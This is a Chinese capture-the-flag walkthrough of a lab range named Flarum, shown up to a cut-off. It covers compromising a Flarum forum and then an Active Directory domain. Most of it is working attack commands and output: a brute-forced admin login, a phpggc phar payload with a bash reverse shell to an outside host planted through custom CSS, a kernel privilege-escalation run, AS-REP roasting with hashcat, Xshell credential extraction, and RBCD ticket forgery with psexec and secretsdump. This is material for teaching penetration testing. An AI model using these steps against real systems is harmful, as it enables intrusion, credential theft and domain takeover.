靶标介绍:
Flarum是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、kerberos协议以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

./fscan_linux_amd -h 39.100.181.76 -p 1-65535
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.100.181.76:80 open
39.100.181.76:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.100.181.76 code:200 len:5882 title:霄壤社区
第一台http://39.100.181.76/172.22.60.52
提示:
关卡剧情:
请测试 Flarum 社区后台登录口令的安全性,并获取在该服务器上执行任意命令的能力。

administrator@xiaorang.lab
第一关提示要我测试登陆口令,administrator可能就是账号
抓包爆破一下,使用/usr/share/wordlists/rockyou.txt字典爆破

爆破出来的密码
账号administrator
密码1chris
flarum论坛打法https://www.secpulse.com/archives/185921.html
phar反序列化


phpggc工具:https://github.com/ambionics/phpggc
利用phpggc工具生成反弹shell的payload
./phpggc -p tar -b Monolog/RCE6 system "bash -c 'bash -i >& /dev/tcp/vps服务器/1337 0>&1'"
对应的payload
dGVzdC50eHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA省略
在css文件内容插入phar包内容
@import (inline) 'data:text/css;base64,dGVzdC50eHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAwMDA2NjQAAAAAAAAAAAAAAAAAAAAAAD省略。。。。。。。。。AAAAAA=';

而后访问URL/assets/forum.css可以发现我们的恶意Payload已放入其中

接下来再次修改自定义CSS,使用phar协议包含我们修改的css文件,phar协议触发反序列化,反弹shell
.test {
content: data-uri('phar://./assets/forum.css');
}
成功上线,但只是个www-data权限

获取稳定终端
python3 -c 'import pty; pty.spawn("/bin/bash")'
上线vshell
copyfail提权
www-data@web01:/tmp$ ./RootHawk-amd64 -any
____ __ __ __
/ __ \____ ____ / /_/ /_ ____ __ / /__
/ /_/ / __ \/ __ \/ __/ __ \/ __ `/ | / / _ \
/ _, _/ /_/ / /_/ / /_/ / / / /_/ /| |_/ / __/
/_/ |_|\____/\____/\__/_/ /_/\__,_/ |___/\___/
RootHawk Linux local privilege escalation runner v1.0.0
[*] Running CopyFail(CVE-2026-31431)
[*] Running CopyFail(CVE-2026-31431)
2026/06/30 19:26:51 Overwriting page cache of /usr/bin/su with 158 bytes
2026/06/30 19:26:51 ... wrote 4 bytes
2026/06/30 19:26:51 ... wrote 104 bytes
2026/06/30 19:26:51 ... wrote 158 bytes
2026/06/30 19:26:51 Executing payload
# whoami
root
拿到flag
# cat /root/flag/flag01.txt
_ _ _ _
___ ___ _ __ __ _ _ __ __ _| |_ _ _| | __ _| |_(_) ___ _ __ ___
/ __/ _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| (_| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
\___\___/|_| |_|\__, |_| \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
|___/
flag01: flag{b8d36338-450b-4757-8d1c-2b8900d79472}
常规提权方式-capabilities提权
www-data@web01:/$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/snap/core20/1974/usr/bin/ping cap_net_raw=ep
/snap/core20/1405/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/openssl =ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
#getcap:查询文件权限能力
-r:递归遍历目录
/:从根目录开始
2>/dev/null:把错误信息(如无权限访问的目录)丢弃,只显示正常结果
关键发现:/usr/bin/openssl =ep,=ep 表示该文件有 空的 capability 集合
这通常意味着:
- 文件被设置了 capabilities,但具体能力被清空(
=后面没有指定能力) - 或者这是一个错误配置,可能允许通过 OpenSSL 执行任意代码
读取flag
www-data@web01:/$ openssl enc -in "/root/flag/flag01.txt"
openssl enc -in "/root/flag/flag01.txt"
_ _ _ _
___ ___ _ __ __ _ _ __ __ _| |_ _ _| | __ _| |_(_) ___ _ __ ___
/ __/ _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| (_| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
\___\___/|_| |_|\__, |_| \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
|___/
flag01: flag{b8d36338-450b-4757-8d1c-2b8900d79472}
数据库账密泄漏
/var/www/html/config.php
<?php return array (
'debug' => false,
'database' =>
array (
'driver' => 'mysql',
'host' => 'localhost',
'port' => 3306,
'database' => 'flarum',
'username' => 'root',
'password' => 'Mysql@root123',
'charset' => 'utf8mb4',
'collation' => 'utf8mb4_unicode_ci',
'prefix' => 'flarum_',
'strict' => false,
'engine' => 'InnoDB',
'prefix_indexes' => true,
),
'url' => 'http://'.$_SERVER['HTTP_HOST'],
'paths' =>
array (
'api' => 'api',
'admin' => 'admin',
),
'headers' =>
array (
'poweredByHeader' => true,
'referrerPolicy' => 'same-origin',
),
);
因为靶机没有开3306端口,所以不能用navicat直接连
当然写个后门用蚁剑连数据库也可以

我这里直接用命令行读取
www-data@web01:/tmp$ mysql -u root -p'Mysql@root123'
mysql> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| flarum |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
mysql> USE flarum;
mysql> SHOW TABLES;
+----------------------------+
| Tables_in_flarum |
+----------------------------+
| flarum_access_tokens |
| flarum_api_keys |
| flarum_discussion_tag |
| flarum_discussion_user |
| flarum_discussions |
| flarum_email_tokens |
| flarum_flags |
| flarum_group_permission |
| flarum_group_user |
| flarum_groups |
| flarum_login_providers |
| flarum_migrations |
| flarum_notifications |
| flarum_password_tokens |
| flarum_post_likes |
| flarum_post_mentions_group |
| flarum_post_mentions_post |
| flarum_post_mentions_user |
| flarum_post_user |
| flarum_posts |
| flarum_registration_tokens |
| flarum_settings |
| flarum_tag_user |
| flarum_tags |
| flarum_users |
+----------------------------+
25 rows in set (0.00 sec)
mysql> SELECT * FROM flarum_users;
发现有很多用户名

第二关提示我们
关卡剧情:
通过kerberos攻击的获取域内权限,并进行信息收集。
基于Kerberos的权限提升攻击无非就是下面几种
1、Kerberoasting攻击(spn):这是最常用、最经典的手法之一。它的原理是,域内任何经过认证的用户都可以向KDC请求任何服务的服务票据(ST)。如果一个服务的SPN(服务主体名称)是注册在域用户账户(而非机器账户)下的,那么该服务票据就是用这个域用户的密码哈希加密的。攻击者可以请求到这张票据,然后带离线进行暴力破解,从而得到该域用户的明文密码。由于很多高权限服务(如SQL Server、IIS)会以域用户账户运行,这种攻击常常能直接获得高权限账号的密码。常用工具为GetUserSPNs.py (Impacket套件) 或 Rubeus.exe。
2、AS-REP Roasting攻击:这是一种针对特定用户配置的攻击。如果域内某个用户账户启用了"不需要Kerberos预身份验证"(Do not require Kerberos preauthentication),那么攻击者可以直接向KDC发送AS_REQ请求,KDC会返回一个用该用户密码哈希加密的AS_REP数据包。攻击者可以将此数据包离线破解,得到该用户的密码。这个攻击不需要任何域账户权限,只需要能连接到KDC即可。常用工具为GetNPUsers.py (Impacket套件) 或 Rubeus.exe。
3、委派攻击(Delegation Attacks):当域内存在配置了"非约束委派"或"约束委派"的服务账户时,攻击者可以滥用这些委派机制来模拟其他用户(如域管理员)的身份,从而获取高权限。例如,获取了一个非约束委派服务账户的控制权后,可以诱导域管理员访问该服务,从而捕获域管理员的TGT,并利用此TGT伪造票据访问域控
这里是打AS-REP Roasting攻击,那么我们需要一个域用户的账号(无需密码),数据库中的这个用户表的数据可以当作我们攻击的参考
先把这个username字段导出来,不过直接导出看着挺烦的,有一些条条框框

直接到mysql外面执行得了
www-data@web01:/tmp$ mysql -u root -p'Mysql@root123' -D flarum -e "SELECT username FROM flarum_users;" -s -N > /tmp/usernames.txt
mysql: [Warning] Using a password on the command line interface can be insecure.
www-data@web01:/tmp$ cat /tmp/usernames.txt
administrator
chenbin
chenbo
chenchao
chenchen
chenfang
chenhong
chenhua
chenjie
chenjing
chenjuan
chenjun
chenlei
chenli
chenlin
chenling
chenlong
chenmin
chenpeng
chenping
chenqiang
chentao
chenwei
chenyan
chenying
chenyong
chenyun
gaofeng
huangmin
huangyong
libin
libing
libo
lichao
lidan
lifang
lifeng
ligang
lihao
lihong
lihua
lijia
lijian
lijie
lijing
lijuan
lijun
likai
lilei
lili
liliang
lilin
liling
lilong
limin
liming
lina
lining
lipeng
liping
liqian
liqiang
liqin
lishuai
litao
liubin
liubing
liuchang
liuchao
liudan
liufang
liufei
liufeng
liugang
liuhao
liuhua
liuhuan
liuhui
liujia
liujing
liujun
liukai
liulei
liuli
liuling
liumei
liumin
liuming
liuna
liupeng
liuping
liuqian
liuqiang
liuqin
liushuai
liutao
liuwei
liuxia
liuxin
liuyan
liuying
liuyong
liuyun
liwei
liwen
lixiang
lixin
lixue
liyan
liyang
liying
liyong
liyun
machao
sunwei
wangbin
wangbing
wangbo
wangchao
wangcheng
wangdan
wangdong
wangfang
wanggang
wanghao
wanghua
wanghuan
wanghui
wangjian
wangjing
wangjuan
wangkai
wangkun
wanglei
wangli
wangliang
wanglin
wangling
wanglong
wanglu
wangmei
wangmin
wangming
wangna
wangning
wangping
wangqian
wangqiang
wangqin
wangrong
wangrui
wangtao
wangting
wangwei
wangxia
wangxin
wangxu
wangxue
wangyan
wangying
wangyong
wangyu
wangyun
xumin
xuwei
yangbin
yangbo
yangchao
yangfang
yanghong
yanghua
yangjie
yangjing
yangjuan
yangjun
yangli
yanglin
yangling
yangliu
yangmei
yangming
yangping
yangtao
yangwei
yangxue
yangyan
yangyang
yangyong
zhangbin
zhangbo
zhangchao
zhangdan
zhangfan
zhangfei
zhangfeng
zhanghao
zhanghong
zhanghua
zhanghui
zhangjian
zhangjie
zhangjing
zhangjun
zhanglei
zhangli
zhangliang
zhanglin
zhangling
zhanglong
zhangmei
zhangmin
zhangming
zhangnan
zhangning
zhangpeng
zhangping
zhangqian
zhangqiang
zhangqin
zhangrong
zhangrui
zhangshuai
zhangtao
zhangting
zhangwei
zhangwen
zhangxia
zhangxin
zhangxue
zhangyan
zhangying
zhangyong
zhangyu
zhangyun
zhaojing
zhaojun
zhaoli
zhaomin
zhaowei
zhaoyong
zhoujie
zhoujing
zhouli
zhoumin
zhouwei
zhouyong
www-data@web01:/tmp$
内网信息收集
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.60.52 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe32:e4c3 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:32:e4:c3 txqueuelen 1000 (Ethernet)
RX packets 224660 bytes 208243238 (208.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 107778 bytes 20948092 (20.9 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
内网ip:172.22.60.52
#./fscan_linux_amd -h 172.22.60.52/24 -o fscan.txt
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.60.52 is alive
(icmp) Target 172.22.60.15 is alive
(icmp) Target 172.22.60.8 is alive
(icmp) Target 172.22.60.42 is alive
[*] Icmp alive hosts len is: 4
172.22.60.52:80 open
172.22.60.52:22 open
172.22.60.42:445 open
172.22.60.15:445 open
172.22.60.8:445 open
172.22.60.42:139 open
172.22.60.42:135 open
172.22.60.15:135 open
172.22.60.8:135 open
172.22.60.8:139 open
172.22.60.8:88 open
172.22.60.15:139 open
[*] alive ports len is: 12
start vulscan
[*] NetBios 172.22.60.8 [+] DC:XIAORANG\DC
[*] NetBios 172.22.60.15 XIAORANG\PC1
[*] NetInfo
[*]172.22.60.15
[->]PC1
[->]172.22.60.15
[->]169.254.47.169
[*] NetInfo
[*]172.22.60.8
[->]DC
[->]172.22.60.8
[->]169.254.5.58
[*] NetInfo
[*]172.22.60.42
[->]Fileserver
[->]172.22.60.42
[->]169.254.246.83
[*] NetBios 172.22.60.42 XIAORANG\FILESERVER
[*] WebTitle http://172.22.60.52 code:200 len:5867 title:霄壤社区
已完成 12/12
[*] 扫描结束,耗时: 14.805052306s
整理一下
172.22.60.52 已拿下
172.22.60.8 DC:XIAORANG\DC
172.22.60.15 XIAORANG\PC1
172.22.60.42 XIAORANG\FILESERVER
AS-REP Roasting
现在有了域控的ip了,可以直接打AS-REP Roasting
工具向域控发送 AS_REQ 请求,查询 AS-erp.txt 中的每个用户
如果某个用户启用了"不需要 Kerberos 预认证",域控会直接返回用该用户密码哈希加密的 AS-REP 数据包
攻击者拿到这些数据包后,可以离线暴力破解密码
proxychains4 -q impacket-GetNPUsers -dc-ip 172.22.60.8 xiaorang.lab/ -usersfile AS-erp.txt
$krb5asrep$23$zhangxin@XIAORANG.LAB:789edf34163d4bf8af3cd2a0871b1b8e$e4eace938f9b2f2e049fa6d6ae91f3e3ef8a4030f7e4d031002315103be7c505a760cba9b73388a84ed462be8149047f1f40bd4cfb5cb8e71348fb36ff323636f7c18f320c3c56d3683a30d850ef62c7bf3197debf7660cadead320417a50f7f400bafb15d6190e20a48b5d5eaecc0ddc30a35e5ab1f974bd4985bac1cdb226959cd7d9cfaf21beb739e5cd747796313392f78e0bfad09ec7c299ccf0e3ed843cf78d139888be290dda99042b36739be7e6f3cd309cd8bed27bfcb742c781357fcb3fcc96e23ab63c01887575a24492fa51dbb828718a063319b64c39525f65e0f7e9f669e368b162ae2d8ef
$krb5asrep$23$wangyun@XIAORANG.LAB:03eadb005d7e5ede535a4985594483eb$c49a9bedfd893c34844b91c5d37e94632b4f45190dcccce7b566126d7a6a5cb56319eb64e0f8a484bbdc667c82caaee2c1fd5e89dcd3ca453807c02a9e62102954dd518a47da9fa054dc3f187e8802ef561f26ac89683aa82638401dff7bf2bfeaf09d3a76bfaf59e8aed2961490a7e660412551e3e54ffc03b023e6e23224e12c17acfa3b20c9e60f403137e8c46df214578d232f32168e3c6a0e2597fe2f204edee251d47aad566073da170e2b5b51f783977512d28ebd74c178cadd40f6f0ecd3bc6ac6c70da00981f6b80246b1346acdd880acf83fe6827fadb2d7734bcf9b6dbf3ef7267f39b5e9c84b


用户 zhangxin和wangyun 存在且不需要预认证,用 Hashcat 破解
# 将哈希保存到文件
echo '$krb5asrep$23$zhangxin@XIAORANG.LAB:789edf34163d4bf8af3cd2a0871b1b8e$e4eace938f9b2f2e049fa6d6ae91f3e3ef8a4030f7e4d031002315103be7c505a760cba9b73388a84ed462be8149047f1f40bd4cfb5cb8e71348fb36ff323636f7c18f320c3c56d3683a30d850ef62c7bf3197debf7660cadead320417a50f7f400bafb15d6190e20a48b5d5eaecc0ddc30a35e5ab1f974bd4985bac1cdb226959cd7d9cfaf21beb739e5cd747796313392f78e0bfad09ec7c299ccf0e3ed843cf78d139888be290dda99042b36739be7e6f3cd309cd8bed27bfcb742c781357fcb3fcc96e23ab63c01887575a24492fa51dbb828718a063319b64c39525f65e0f7e9f669e368b162ae2d8ef' > zhangxin.hash
# 用 Hashcat 破解(使用 rockyou.txt)
hashcat -m 18200 zhangxin.hash /usr/share/wordlists/rockyou.txt --force
# 查看结果
hashcat -m 18200 zhangxin.hash --show
zhangxing没爆破出来,来爆破一下wangyun的
# 将哈希保存到文件
echo '$krb5asrep$23$wangyun@XIAORANG.LAB:03eadb005d7e5ede535a4985594483eb$c49a9bedfd893c34844b91c5d37e94632b4f45190dcccce7b566126d7a6a5cb56319eb64e0f8a484bbdc667c82caaee2c1fd5e89dcd3ca453807c02a9e62102954dd518a47da9fa054dc3f187e8802ef561f26ac89683aa82638401dff7bf2bfeaf09d3a76bfaf59e8aed2961490a7e660412551e3e54ffc03b023e6e23224e12c17acfa3b20c9e60f403137e8c46df214578d232f32168e3c6a0e2597fe2f204edee251d47aad566073da170e2b5b51f783977512d28ebd74c178cadd40f6f0ecd3bc6ac6c70da00981f6b80246b1346acdd880acf83fe6827fadb2d7734bcf9b6dbf3ef7267f39b5e9c84b' > wangyun.hash
# 用 Hashcat 破解(使用 rockyou.txt)
hashcat -m 18200 wangyun.hash /usr/share/wordlists/rockyou.txt --force
# 查看结果
hashcat -m 18200 wangyun.hash --show

wangyun的可以爆破,得到一组域用户的账号密码
wangyun
Adm12geC
导入BloodHound(有一个域用户即可)
proxychains4 -q bloodhound-python -u wangyun -p Adm12geC -d xiaorang.lab -c all -ns 172.22.60.8 --zip --dns-tcp
再一次扫描域内各主机的全端口
www-data@web01:/tmp$ ./fscan_linux_amd -h 172.22.60.8,172.22.60.15,172.22.60.42,172.22.60.52 -p 1-65535 -o fscan_full.txt
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.60.52 is alive
(icmp) Target 172.22.60.15 is alive
(icmp) Target 172.22.60.42 is alive
(icmp) Target 172.22.60.8 is alive
[*] Icmp alive hosts len is: 4
172.22.60.8:135 open
172.22.60.42:135 open
172.22.60.15:135 open
172.22.60.8:139 open
172.22.60.42:139 open
172.22.60.52:22 open
172.22.60.52:80 open
172.22.60.8:53 open
172.22.60.15:139 open
172.22.60.8:88 open
172.22.60.8:389 open
172.22.60.15:445 open
172.22.60.8:464 open
172.22.60.42:445 open
172.22.60.8:445 open
172.22.60.8:593 open
172.22.60.8:636 open
172.22.60.8:3268 open
172.22.60.8:3269 open
172.22.60.42:3389 open
172.22.60.15:3389 open
172.22.60.8:3389 open
172.22.60.8:9389 open
172.22.60.8:47001 open
172.22.60.15:47001 open
172.22.60.42:47001 open
172.22.60.15:49664 open
172.22.60.8:49664 open
172.22.60.42:49664 open
172.22.60.15:49665 open
172.22.60.8:49665 open
172.22.60.42:49665 open
172.22.60.42:49666 open
172.22.60.15:49666 open
172.22.60.8:49666 open
172.22.60.42:49667 open
172.22.60.15:49667 open
172.22.60.8:49667 open
172.22.60.15:49668 open
172.22.60.8:49668 open
172.22.60.42:49668 open
172.22.60.42:49669 open
172.22.60.15:49669 open
172.22.60.42:49670 open
172.22.60.15:49671 open
172.22.60.8:49672 open
172.22.60.8:49675 open
172.22.60.42:49675 open
172.22.60.42:49676 open
172.22.60.8:49676 open
172.22.60.8:49678 open
172.22.60.15:49679 open
172.22.60.15:49680 open
172.22.60.8:49681 open
172.22.60.8:49693 open
172.22.60.8:49926 open
172.22.60.8:52341 open
[*] alive ports len is: 57
start vulscan
[*] NetInfo
[*]172.22.60.15
[->]PC1
[->]172.22.60.15
[->]169.254.47.169
[*] NetInfo
[*]172.22.60.42
[->]Fileserver
[->]172.22.60.42
[->]169.254.246.83
[*] NetInfo
[*]172.22.60.8
[->]DC
[->]172.22.60.8
[->]169.254.5.58
[*] NetBios 172.22.60.8 [+] DC:XIAORANG\DC
[*] NetBios 172.22.60.42 XIAORANG\FILESERVER
[*] NetBios 172.22.60.15 XIAORANG\PC1
[*] WebTitle http://172.22.60.42:47001 code:404 len:315 title:Not Found
[*] WebTitle http://172.22.60.15:47001 code:404 len:315 title:Not Found
[*] WebTitle http://172.22.60.8:47001 code:404 len:315 title:Not Found
[*] WebTitle http://172.22.60.52 code:200 len:5867 title:霄壤社区
下面主机都开来3389,看下能否RDP登陆
172.22.60.42:3389 open
172.22.60.15:3389 open
172.22.60.8:3389
172.22.60.15可以登陆,里面有个xshell

可以尝试对xshell的密码进行收集,SharpXDecrypt.exe收集
Xshell全版本凭证一键恢复工具:https://github.com/JDArmy/SharpXDecrypt
C:\Users\Public>SharpXDecrypt.exe
Xshell全版本凭证一键导出工具!(支持Xshell 7.0+版本)
Author: 0pen1
Github: https://github.com/JDArmy
[!] WARNING: For learning purposes only,please delete it within 24 hours after downloading!
[*] Start GetUserPath....
UserPath: C:\Users\wangyun\Documents\NetSarang Computer\7
[*] Get UserPath Success !
[*] Start GetUserSID....
Username: wangyun
userSID: S-1-5-21-3535393121-624993632-895678587-1107
[*] GetUserSID Success !
XSHPath: C:\Users\wangyun\Documents\NetSarang Computer\7\Xshell\Sessions\SSH.xsh
Host: 172.22.60.45
UserName: zhangxin
Password: admin4qwY38cc
Version: 7.1
[*] read done!
C:\Users\Public>
拿到了一组xshell的连接信息,但是我直接rdp登不进45这台机器
Host: 172.22.60.45
UserName: zhangxin
Password: admin4qwY38cc
到直接bloodhound中把zhangxin设为own
在bloodhound中发现zhangxin用户是ACCOUNT OPERATORS组的

account operators组的一般打法
1、基于资源的约束性委派( RBCD)
基本流程如下:
- 创建机器账户:利用
zhangxin的权限,在域内创建一个新的、由你控制的虚假机器账户 - 配置委派:使用 PowerShell 等工具,修改目标机器的
msDS-AllowedToActOnBehalfOfOtherIdentity属性,将刚刚创建的虚假机器账户添加进去。这实际上赋予了该虚假机器账户模拟其他任何域用户(如管理员)登录目标机器的能力。 - 获取票据:使用特定工具(如
getST.py),利用虚假机器账户为模拟的管理员用户请求一个访问目标机器CIFS服务的服务票据。 - 横向移动:导入获得的票据后,就可以使用
psexec.py等工具,以管理员身份登录目标机器,从而完全控制它
2、利用Exchange间接获得DCSync权限
利用思路是:
- 加入Exchange组:利用
zhangxin的权限,将自己或另一个可控用户添加进Exchange Trusted Subsystem组。 - 继承DCSync权限:由于
Exchange Trusted Subsystem组的成员属于Exchange Windows Permissions组,而Exchange Windows Permissions组默认对域拥有 WriteDACL(写入访问控制列表)权限。 - 获得DCSync权限:拥有了 WriteDACL 权限,就可以给自己(或任意用户)赋予 DCSync 权限,该权限允许你模拟域控进行目录复制,从而导出域内所有用户的密码哈希,包括域管理员
因为不同的域用户通过boloodhound信息收集的结果可能不一样。域用户、组、OU这些基本信息。只要是域内的Authenticated Users,默认都能通过LDAP查询到大部分这样的“公共地图”信息。所以,即使是一个普通域用户,用它也能画出域的大致轮廓。
权限依赖数据(实地走访):这是造成结果差异的关键。像本地管理员组成员、当前登录会话、特定注册表信息,都属于需要额外权限才能“看到”或“走到”的细节
像Account Operators这类特权组成员,由于其对用户、组、计算机有控制权,用他们收集的数据会揭示更多可滥用的权限关系
proxychains4 -q bloodhound-python -u zhangxin -p admin4qwY38cc -d xiaorang.lab -c all -ns 172.22.60.8 --zip --dns-tcp
172.22.60.42 FILESERVER
RBCD 约束委派
在域内寻找最容易被攻击者利用的无约束委派系统,使用这个语法

Shortest paths to systems trusted for unconstrained delegation
攻击链路总结:zhangxin属于account opeators组,这个组对的成员 对 Fileserver这台机器有完全控制权,Fileserver这台机器对域有DCSync权限
zhangxin (普通域用户)
↓ MemberOf
Account Operators (有一定权限)
↓ GenericAll(通过 BloodHound 发现)
↓ 利用 RBCD 攻击,拿到域管理员身份 (Administrator.ccache)
Fileserver (完全控制)
↓ 下一步
从 Fileserver 抓取凭证 → 横向移动到域控
1、创建机器账户
Account Operators 组有权限在域中创建新的计算机账户 我们需要一个受控的机器账户(hacker$)来充当攻击的“跳板”
└─$ proxychains4 -q impacket-addcomputer xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -dc-host xiaorang.lab -computer-name 'hacker$' -computer-pass '0x401@admin'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account hacker$ with password 0x401@admin.
2、 设置 RBCD 委派
- 这条命令修改了
Fileserver的msDS-AllowedToActOnBehalfOfOtherIdentity属性 - 告诉域控:"Fileserver 信任 hacker,允许hacker,允许hacker 冒充任何用户访问 Fileserver"
└─$ proxychains4 -q impacket-rbcd xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -action write -delegate-to 'Fileserver$' -delegate-from 'hacker$'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] hacker$ can now impersonate users on Fileserver$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] hacker$ (S-1-5-21-3535393121-624993632-895678587-1116)
3、请求票据
- 使用
hacker$的身份(密码0x401@admin)向域控请求一张票据 - 请求**冒充域管理员(Administrator)**访问 Fileserver 的 CIFS 服务
- 因为 Fileserver 信任
hacker$(步骤 2),域控会成功颁发这张票据 - 票据保存在
Administrator.ccache文件中
└─$ proxychains4 -q impacket-getST xiaorang.lab/'hacker$':'0x401@admin' -spn cifs/Fileserver.xiaorang.lab -impersonate Administrator -dc-ip 172.22.60.8
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_Fileserver.xiaorang.lab@XIAORANG.LAB.ccache
让本机(Kali)能够正确解析目标机器的域名,
在 Kerberos 协议中,客户端请求票据时,会基于服务主体名称(SPN)(如 cifs/FILESERVER.xiaorang.lab)与域控通信。这个 SPN 里的 FILESERVER.xIAORANG.LAB 必须能被解析成 IP 地址,否则协议会失败。
简单说,Kerberos 认证流程是:
- 你的 Kali 通过代理,拿着伪造的票据去访问
FILESERVER.xiaorang.lab。 - 系统需要知道
FILESERVER.xiaorang.lab这个域名对应哪个 IP。 - 如果你的
hosts文件里没有这条记录,系统会去问 DNS(域名解析服务器)。 - 在内网环境里,你的 Kali 可能无法直接访问域内 DNS 服务器,或者根本不在这个域内。没有解析,就无法完成认证,也就无法访问。 所以修改/etc/hosts
172.22.60.15 PC1.xiaorang.lab
172.22.60.42 FILESERVER.xiaorang.lab
172.22.60.8 XIAORANG\DC
4、导入票据
- 将伪造的管理员票据导入当前会话的 Kerberos 缓存
- 后续所有 Kerberos 认证都会使用 Administrator 的身份
- 你现在对 Fileserver 的操作,都相当于域管理员在操作!
└─$ ls -la *.ccache
-rw-rw-r-- 1 kali kali 1665 7月 6日 00:22 Administrator@cifs_Fileserver.xiaorang.lab@XIAORANG.LAB.ccache
export KRB5CCNAME=Administrator@cifs_Fileserver.xiaorang.lab@XIAORANG.LAB.ccache
5、pth
psexec无密码连上FILESERVER,拿到SYSTEM权限(psexec自带提权效果)
└─$ proxychains4 -q impacket-psexec Administrator@FILESERVER.xiaorang.lab -k -no-pass -dc-ip 172.22.60.8 -codec gbk
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on FILESERVER.xiaorang.lab.....
[*] Found writable share ADMIN$
[*] Uploading file OWcrvJKL.exe
[*] Opening SVCManager on FILESERVER.xiaorang.lab.....
[*] Creating service OngK on FILESERVER.xiaorang.lab.....
[*] Starting service OngK.....
[!] Press help for extra shell commands
Microsoft Windows [版本 10.0.17763.4377]
(c) 2018 Microsoft Corporation。保留所有权利。
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\flag\flag03.txt
________ __
|_ __ |[ |
| |_ \_| | | ,--. _ .--. __ _ _ .--..--.
| _| | | `'_\ : [ `/'`\][ | | | [ `.-. .-. |
_| |_ | | // | |, | | | \_/ |, | | | | | |
|_____| [___]\'-;__/[___] '.__.'_/[___||__||__]
flag03: flag{24df4e4f-6351-4161-99ca-08c61bc1b775}
执行完这些命令后,你的状态是:
| 项目 | 状态 |
|---|---|
| 当前身份 | 域管理员(伪造的) |
| 作用范围 | 仅限 Fileserver |
| 能做什么 | 访问 Fileserver 所有文件、执行任意命令、抓取凭证 |
| 不能做什么 | 直接访问域控(需要下一步横向移动) |
Fileserver这台机器对域有DCSync权限 DCSync 是一种允许用户模拟域控进行目录复制的权限。拥有此权限的攻击者可以:
- 导出域内所有用户的 NTLM 哈希
- 导出 KRBTGT 的哈希(制作黄金票据)
- 导出任意用户的密码哈希
- 完全不需要登录域控
172.22.60.8域控-DCSync
1、导出机器账户
打DCSync需要Fileserver的机器账户,所以先把这台机器的hash倒出来
└─$ proxychains4 -q impacket-secretsdump -k -no-pass FILESERVER.xiaorang.lab -dc-ip 172.22.60.8
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xef418f88c0327e5815e32083619efdf5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bd8e2e150f44ea79fff5034cad4539fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b40dda6fd91a2212d118d83e94b61b11:::
[*] Dumping cached domain logon information (domain/username:hash)
